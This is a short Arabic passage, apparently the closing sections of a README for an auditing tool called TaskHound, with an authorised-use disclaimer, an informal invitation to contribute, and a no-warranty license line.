TaskHound هي أداة تدقيق وتعليمية بشكل صارم. استخدمها فقط في البيئات التي تملكها أو لديك إذن صريح لاختبارها. بجدية. لا تكن وغدًا.
المساهمة
نرحب بطلبات السحب (PRs). نصف هذا كان ترميزًا ناتجًا عن الكافيين، لذا لا تتوقع المعجزات.
الترخيص
استخدم بمسؤولية. لا يوجد ضمان. انظر LICENSE للتفاصيل.